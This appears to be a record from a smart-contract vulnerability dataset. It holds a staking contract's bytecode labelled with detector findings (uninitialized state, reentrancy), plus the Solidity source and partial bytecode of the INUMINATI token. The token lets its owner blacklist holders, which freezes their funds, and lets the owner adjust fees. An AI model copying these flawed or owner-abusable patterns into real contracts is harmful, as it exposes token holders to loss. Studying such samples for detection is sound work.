ff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612124576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f42756c6c5374616b696e673a207a65726f20616464726573730000000000000081525060200191505060405180910390fd5b6000612151600754612143600454600654610cc990919063ffffffff16565b610d1390919063ffffffff16565b905060006121a28261219487612186600a5461217860045442610cc990919063ffffffff16565b610d1390919063ffffffff16565b610d1390919063ffffffff16565b610d9990919063ffffffff16565b905060006121b98287610de390919063ffffffff16565b90506121d082600b54610cc990919063ffffffff16565b600b819055506121eb86600c54610cc990919063ffffffff16565b600c81905550612242866000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cc990919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228e87826129f6565b1561232e578673ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f85ab59351da11b79336de7647172267c33bf533ee87d9d292441c2672177159b8885604051808381526020018281526020019250505060405180910390a360019450505050612336565b600094505050505b5092915050565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156123e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f42756c6c5374616b696e673a207a65726f20616464726573730000000000000081525060200191505060405180910390fd5b600061240e600c5461240086600b54610d1390919063ffffffff16565b610d9990919063ffffffff16565b905060006124258286610de390919063ffffffff16565b9050612478856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cc990919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124c486826129f6565b15612563578573ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f85ab59351da11b79336de7647172267c33bf533ee87d9d292441c2672177159b8785604051808381526020018281526020019250505060405180910390a360019350505061256a565b6000935050505b5092915050565b600061257e833084612bc0565b905092915050565b6000600354804210156125e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180612df36027913960400191505060405180910390fd5b60045480421061263f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180612df36027913960400191505060405180910390fd5b8360008110156126b7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f42756c6c5374616b696e673a206e6567617469766520616d6f756e740000000081525060200191505060405180910390fd5b670de0b6b3a76400008502945060008590506126e0600c54600854610cc990919063ffffffff16565b811115612701576126fe600c54600854610cc990919063ffffffff16565b90505b6000811161275a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612f306022913960400191505060405180910390fd5b600854600754820111156127b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180612d6a603b913960400191505060405180910390fd5b6127c38782612571565b6127d15760009450506129e8565b8673ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f6c86f3fd5118b3aa8bb4f389a617046de0a3d3d477de1a1673d227f802f616dc8884604051808381526020018281526020019250505060405180910390a38581101561291957600061287d8288610cc990919063ffffffff16565b905061288a888983612bc0565b15612917578773ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fec1e5ed733e00f1a00915d56caef57b4f52312dde4f9b3165f213319a0da156b836040518082815260200191505060405180910390a35b505b61292e81600c54610de390919063ffffffff16565b600c8190555061294981600754610de390919063ffffffff16565b6007819055506129a0816000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de390919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019450505b50505092915050565b505050565b6000816000811015612a70576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f42756c6c5374616b696e673a206e6567617469766520616d6f756e740000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612b7c57600080fd5b505af1158015612b90573d6000803e3d6000fd5b505050506040513d6020811015612ba657600080fd5b810190808051906020019092919050505091505092915050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8585856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015612d0257600080fd5b505af1158015612d16573d6000803e3d6000fd5b505050506040513d6020811015612d2c57600080fd5b81019080805190602001909291905050509050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737342756c6c5374616b696e673a20746869732077696c6c20696e637265617365207374616b696e6720616d6f756e742070617373207468652063617045524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542756c6c5374616b696e673a207374616b696e67436170206d75737420626520706f73697469766542756c6c5374616b696e673a206261642074696d696e6720666f7220746865207265717565737442756c6c5374616b696e673a20726577617264206d75737420626520706f73697469766542756c6c5374616b696e673a20776974686472617761626c6520616d6f756e74206d757374206265206c657373207468616e206f7220657175616c20746f207468652072657761726420616d6f756e74536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e736665722066726f6d20746865207a65726f206164647265737342756c6c5374616b696e673a20776974686472617761626c6520616d6f756e742063616e6e6f74206265206e6567617469766542756c6c5374616b696e673a207374616b696e6720656e64206d75737420626520706f73697469766542756c6c5374616b696e673a205374616b696e67206361702069732066696c6c656442756c6c74616b696e673a207769746864726177537461727473206d757374206265206166746572207374616b696e6720656e6473a26469706673582212200f0066cd20c9c76f8d2d367b865807a9b0254a1512b6ce0e1152bc5c644229c464736f6c63430006000033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
3,850
0xea0966b9acc574582e504025806d14e9d5ab0baa
// SPDX-License-Identifier: Unlicensed //TG: @Inuminatportal pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract INUMINATI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "INUMINATI"; string private constant _symbol = "INUMINATI"; uint private constant _decimals = 9; uint256 private _teamFee = 13; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 burnCount = contractTokenBalance.mul(3).div(13); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (5 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 15); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103c0578063cf0848f7146103d5578063cf9d4afa146103f5578063dd62ed3e14610415578063e6ec64ec1461045b578063f2fde38b1461047b57600080fd5b8063715018a6146103235780638da5cb5b1461033857806390d49b9d1461036057806395d89b4114610172578063a9059cbb14610380578063b515566a146103a057600080fd5b806331c2d8471161010857806331c2d8471461023c5780633bbac5791461025c578063437823ec14610295578063476343ee146102b55780635342acb4146102ca57806370a082311461030357600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b357806318160ddd146101e357806323b872dd14610208578063313ce5671461022857600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049b565b005b34801561017e57600080fd5b506040805180820182526009815268494e554d494e41544960b81b602082015290516101aa91906118dd565b60405180910390f35b3480156101bf57600080fd5b506101d36101ce366004611957565b6104e7565b60405190151581526020016101aa565b3480156101ef57600080fd5b50678ac7230489e800005b6040519081526020016101aa565b34801561021457600080fd5b506101d3610223366004611983565b6104fe565b34801561023457600080fd5b5060096101fa565b34801561024857600080fd5b506101706102573660046119da565b610567565b34801561026857600080fd5b506101d3610277366004611a9f565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a157600080fd5b506101706102b0366004611a9f565b6105fd565b3480156102c157600080fd5b5061017061064b565b3480156102d657600080fd5b506101d36102e5366004611a9f565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030f57600080fd5b506101fa61031e366004611a9f565b610685565b34801561032f57600080fd5b506101706106a7565b34801561034457600080fd5b506000546040516001600160a01b0390911681526020016101aa565b34801561036c57600080fd5b5061017061037b366004611a9f565b6106dd565b34801561038c57600080fd5b506101d361039b366004611957565b610757565b3480156103ac57600080fd5b506101706103bb3660046119da565b610764565b3480156103cc57600080fd5b5061017061087d565b3480156103e157600080fd5b506101706103f0366004611a9f565b610935565b34801561040157600080fd5b50610170610410366004611a9f565b610980565b34801561042157600080fd5b506101fa610430366004611abc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046757600080fd5b50610170610476366004611af5565b610bdb565b34801561048757600080fd5b50610170610496366004611a9f565b610c18565b6000546001600160a01b031633146104ce5760405162461bcd60e51b81526004016104c590611b0e565b60405180910390fd5b60006104d930610685565b90506104e481610cb0565b50565b60006104f4338484610e2a565b5060015b92915050565b600061050b848484610f4e565b61055d843361055885604051806060016040528060288152602001611c87602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611393565b610e2a565b5060019392505050565b6000546001600160a01b031633146105915760405162461bcd60e51b81526004016104c590611b0e565b60005b81518110156105f9576000600560008484815181106105b5576105b5611b43565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f181611b6f565b915050610594565b5050565b6000546001600160a01b031633146106275760405162461bcd60e51b81526004016104c590611b0e565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f9573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f8906113cd565b6000546001600160a01b031633146106d15760405162461bcd60e51b81526004016104c590611b0e565b6106db6000611451565b565b6000546001600160a01b031633146107075760405162461bcd60e51b81526004016104c590611b0e565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f4338484610f4e565b6000546001600160a01b0316331461078e5760405162461bcd60e51b81526004016104c590611b0e565b60005b81518110156105f957600c5482516001600160a01b03909116908390839081106107bd576107bd611b43565b60200260200101516001600160a01b03161415801561080e5750600b5482516001600160a01b03909116908390839081106107fa576107fa611b43565b60200260200101516001600160a01b031614155b1561086b5760016005600084848151811061082b5761082b611b43565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087581611b6f565b915050610791565b6000546001600160a01b031633146108a75760405162461bcd60e51b81526004016104c590611b0e565b600c54600160a01b900460ff1661090b5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c5565b600c805460ff60b81b1916600160b81b17905542600d8190556109309061012c611b88565b600e55565b6000546001600160a01b0316331461095f5760405162461bcd60e51b81526004016104c590611b0e565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109aa5760405162461bcd60e51b81526004016104c590611b0e565b600c54600160a01b900460ff1615610a125760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c5565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8d9190611ba0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ada573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afe9190611ba0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6f9190611ba0565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c055760405162461bcd60e51b81526004016104c590611b0e565b600f811115610c1357600080fd5b600855565b6000546001600160a01b03163314610c425760405162461bcd60e51b81526004016104c590611b0e565b6001600160a01b038116610ca75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c5565b6104e481611451565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cf857610cf8611b43565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d759190611ba0565b81600181518110610d8857610d88611b43565b6001600160a01b039283166020918202929092010152600b54610dae9130911684610e2a565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610de7908590600090869030904290600401611bbd565b600060405180830381600087803b158015610e0157600080fd5b505af1158015610e15573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e8c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c5565b6001600160a01b038216610eed5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c5565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fb25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c5565b6001600160a01b0382166110145760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c5565b600081116110765760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c5565b6001600160a01b03831660009081526005602052604090205460ff161561111e5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104c5565b6001600160a01b03831660009081526004602052604081205460ff1615801561116057506001600160a01b03831660009081526004602052604090205460ff16155b80156111765750600c54600160a81b900460ff16155b80156111a65750600c546001600160a01b03858116911614806111a65750600c546001600160a01b038481169116145b1561138157600c54600160b81b900460ff166112045760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c5565b50600c546001906001600160a01b0385811691161480156112335750600b546001600160a01b03848116911614155b8015611240575042600e54115b1561128757600061125084610685565b9050611270606461126a678ac7230489e8000060026114a1565b90611523565b61127a8483611565565b111561128557600080fd5b505b600d5442036112b4576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112bf30610685565b600c54909150600160b01b900460ff161580156112ea5750600c546001600160a01b03868116911614155b1561137f57801561137f57600c5461131e9060649061126a90600f90611318906001600160a01b0316610685565b906114a1565b81111561134b57600c546113489060649061126a90600f90611318906001600160a01b0316610685565b90505b600061135d600d61126a8460036114a1565b90506113698183611c2e565b9150611374816115c4565b61137d82610cb0565b505b505b61138d848484846115f4565b50505050565b600081848411156113b75760405162461bcd60e51b81526004016104c591906118dd565b5060006113c48486611c2e565b95945050505050565b60006006548211156114345760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c5565b600061143e6116f7565b905061144a8382611523565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826000036114b3575060006104f8565b60006114bf8385611c45565b9050826114cc8583611c64565b1461144a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c5565b600061144a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061171a565b6000806115728385611b88565b90508381101561144a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c5565b600c805460ff60b01b1916600160b01b1790556115e43061dead83610f4e565b50600c805460ff60b01b19169055565b808061160257611602611748565b60008060008061161187611764565b6001600160a01b038d166000908152600160205260409020549397509195509350915061163e90856117ab565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461166d9084611565565b6001600160a01b03891660009081526001602052604090205561168f816117ed565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116d491815260200190565b60405180910390a350505050806116f0576116f0600954600855565b5050505050565b6000806000611704611837565b90925090506117138282611523565b9250505090565b6000818361173b5760405162461bcd60e51b81526004016104c591906118dd565b5060006113c48486611c64565b60006008541161175757600080fd5b6008805460095560009055565b60008060008060008061177987600854611877565b9150915060006117876116f7565b90506000806117978a85856118a4565b909b909a5094985092965092945050505050565b600061144a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611393565b60006117f76116f7565b9050600061180583836114a1565b306000908152600160205260409020549091506118229082611565565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118528282611523565b82101561186e57505060065492678ac7230489e8000092509050565b90939092509050565b6000808061188a606461126a87876114a1565b9050600061189886836117ab565b96919550909350505050565b600080806118b286856114a1565b905060006118c086866114a1565b905060006118ce83836117ab565b92989297509195505050505050565b600060208083528351808285015260005b8181101561190a578581018301518582016040015282016118ee565b8181111561191c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e457600080fd5b803561195281611932565b919050565b6000806040838503121561196a57600080fd5b823561197581611932565b946020939093013593505050565b60008060006060848603121561199857600080fd5b83356119a381611932565b925060208401356119b381611932565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119ed57600080fd5b823567ffffffffffffffff80821115611a0557600080fd5b818501915085601f830112611a1957600080fd5b813581811115611a2b57611a2b6119c4565b8060051b604051601f19603f83011681018181108582111715611a5057611a506119c4565b604052918252848201925083810185019188831115611a6e57600080fd5b938501935b82851015611a9357611a8485611947565b84529385019392850192611a73565b98975050505050505050565b600060208284031215611ab157600080fd5b813561144a81611932565b60008060408385031215611acf57600080fd5b8235611ada81611932565b91506020830135611aea81611932565b809150509250929050565b600060208284031215611b0757600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b8157611b81611b59565b5060010190565b60008219821115611b9b5